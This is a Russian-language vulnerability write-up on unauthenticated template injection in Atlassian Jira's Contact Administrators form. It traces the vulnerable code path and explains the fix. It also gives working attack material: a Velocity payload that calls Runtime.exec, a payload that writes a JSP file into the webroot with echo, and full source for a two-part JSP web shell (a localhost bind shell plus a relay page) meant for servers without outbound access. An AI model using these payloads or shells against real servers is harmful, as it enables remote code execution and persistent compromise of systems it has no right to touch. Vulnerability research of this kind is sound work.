
Atlassian Jira неавторизованная инъекция шаблонов
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)
set JVM_SUPPORT_RECOMMENDED_ARGS= в файле ./bin/setenv.bat (или аналогично в ./bin/setenv.sh для Linux), чтобы включить удаленную отладкуset JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Remote JVM Debug с параметрами host и port localhost:5005 и Command line arguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
Запустите ./bin/config.bat (или ./bin/config.sh для Linux) и измените "Jira home" на свою домашнюю директорию Jira

Запустите ./bin/start-jira.bat (или ./bin/start-jira.sh для Linux). Проверьте, что версия Java и порты 8080 и 5005 свободны, иначе не запустится!
Выбираем private mode

На этом этапе используйте email, на который можно получить письмо :)

Настройте и протестируйте соединение

По адресу http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa включите функцию Contact Administrators Form

Я лишь отмечаю некоторые моменты при сборке, вы можете обратиться к building jira from source
После прочтения Advisory мы узнали, что эта ошибка находится в ContactAdministrators и SendBulkMail (это мы пропускаем, так как требуется аутентификация). Поэтому я начал тестировать функцию ContactAdministrators и перехватил запрос

Я увидел запрос к /secure/ContactAdministrators.jspa, поэтому посмотрел файл ./atlassian-jira/WEB-INF/web.xml, чтобы узнать, в какой класс направляется этот запрос


Таким образом, запрос обрабатывается в JiraWebworkActionDispatcher, поэтому я поставил точки останова на init и serve в этом классе и запустил отладку

Программа остановилась на функции serve, немного проследив, программа перешла в ContactAdministrators.doExecute()

Затем переходим к send, здесь программа выводит список активных администраторов

Затем программа переходит к функции sendTo. Здесь мы видим, что программа создает MailQueueItem и добавляет его в mailQueue.

Программа вызывает функцию EmailBuilder.withSubject. Здесь строка subject письма (отправленная атакующим) преобразуется из String в TemplateSources и присваивается параметру subjectTemplate класса EmailBuilder.

В функции renderLater программа создает EmailRenderer и использует его для создания RenderingMailQueueItem

Отсюда, возвращаясь к функции ContactAdministrators.sendTo. После создания MailQueueItem программа добавляет элемент в mailQueue и возвращается к doExecute для перенаправления. Если следовать этому потоку отладки, мы не можем перейти к части, где программа рендерит письмо, поэтому не можем добраться до места, где происходит инъекция шаблона. Что же делать, чтобы отследить обработку письма???
Я заметил, что в EmailRenderer есть функция renderNow (программа вызывает только renderLater). Я предположил, что когда письмо из очереди вызывается для рендеринга, оно будет следовать тому же потоку, что и renderNow, поэтому я решил трассировать от функции renderNow

Из renderNow программа вызывает EmailRenderer.render(). Я поставил точку останова здесь и повторил запрос, чтобы проверить, действительно ли программа доходит до этого места

К счастью, программа пошла по предполагаемому пути. Далее программа вызывает renderEmailSubject

Далее программа вызывает DefaultVelocityTemplatingEngine.render(this.subjectTemplate)

Доходим до DefaultVelocityTemplatingEngine.applying и DefaultVelocityTemplatingEngine.asPlainText

Продолжаем вызов к asPlainText(Writer writer)

Доходим до toWriterImpl, так как writer, который я передал, является Fragment, программа переходит к else
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
if (this.source instanceof File) {
File template = (File)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
} else if (this.source instanceof Fragment) {
Fragment fragment = (Fragment)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
}
}
DefaultVelocityManager.writeEncodedBodyForContent

VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). Здесь программа создала SimpleNode из Reader

render, здесь она вызывает nodeTree.render(ica, writer); для парсинга шаблона Velocity, следовательно, здесь возможна инъекция шаблона!public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var13) {
throw new ParseErrorException(var13);
} catch (RuntimeException var14) {
throw var14;
} catch (Exception var15) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var15);
throw new VelocityException(msg, var15);
}
nodeTree.render(ica, writer); ### Возможно RCE здесь ###
} finally {
ica.popCurrentTemplateName();
}
return true;
}
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()


ContactAdministrators: doExecute -> send -> sendTo
-> EmailBuilder -> renderLater
RenderingMailQueueItem: send
-> emailRenderer: render -> renderEmailSubject
-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
-> DefaultVelocityManager: writeEncodedBodyForContent
->VelocityEngine: evaluate
> RuntimeInstance: evaluate -> evaluate -> render
=> SimpleNode: render
Таким образом, мы можем выполнить RCE на сервере Jira, но что если мы хотим получить оболочку, но сервер не имеет исходящего доступа? В этом случае мы не можем создать обычный bind/reverse shell, так как у нас нет порта для выхода в интернет.
Я получил подсказку от @honson97: "использовать веб-страницу jsp для получения ввода от атакующего и передачи его в независимую bind-оболочку, которая прослушивает localhost сервера".

Основываясь на этой идее, я написал два файла jsp: web.jsp и bind.jsp. bind.jsp выполняет роль слепой оболочки, постоянно прослушивает localhost:4444, принимает команды, переданные в cmd/base, и возвращает результат веб-странице web.jsp, а web.jsp является инструментом для ввода/вывода команд атакующего.
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
Socket socket = new Socket( "127.0.0.1", 4444 );
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
writer.println(request.getParameter("cmd"));
InputStream input = socket.getInputStream();
DataInputStream dis = new DataInputStream(input);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
socket.close();
%>
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector
{
InputStream md;
OutputStream ao;
StreamConnector( InputStream md, OutputStream ao )
{
this.md = md;
this.ao = ao;
}
public void run()
{
BufferedReader yw = null;
BufferedWriter enf = null;
try
{
yw = new BufferedReader( new InputStreamReader( this.md ) );
enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
char buffer[] = new char[8192];
int length = yw.read( buffer, 0, buffer.length);
enf.write( buffer, 0, length );
enf.flush();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
Process process = Runtime.getRuntime().exec( ShellPath );
while (true) {
Socket client_socket = server_socket.accept();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
Thread.sleep(1000);
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
client_socket.close();
}
} catch( Exception e ) {}
%>
Далее нужно загрузить оболочку на сервер. Поскольку мы рассматриваем случай без исходящего доступа, мы можем загрузить файл только с помощью команды echo. Сначала я удаляю символы "\n" и экранирую специальные символы (с помощью Python)
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
затем копируем полученную строку и вставляем в полезную нагрузку
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
После загрузки двух файлов web.jsp и bind.jsp. Заходим на /bind.jsp, затем в другой вкладке открываем /web.jsp?cmd=COMMAND для проверки оболочки

В ContactAdministrators.sendTo(), вместо прямой передачи ввода от клиента в функцию EmailBuilder.withSubject для преобразования в источники шаблона (которые могут быть обработаны), в исправленной версии разработчики передают ввод в виде строкового контекста и просто передают строку "$subject" в EmailBuilder.withSubject. При рендеринге система выполняет шаблон "$subject", то есть загружает subject — строковый контекст (ввод от клиента) — но не обрабатывает его. Другими словами, программа загружает ввод как строку, а не как обрабатываемый шаблон.
Версия с ошибкой

Исправленная версия
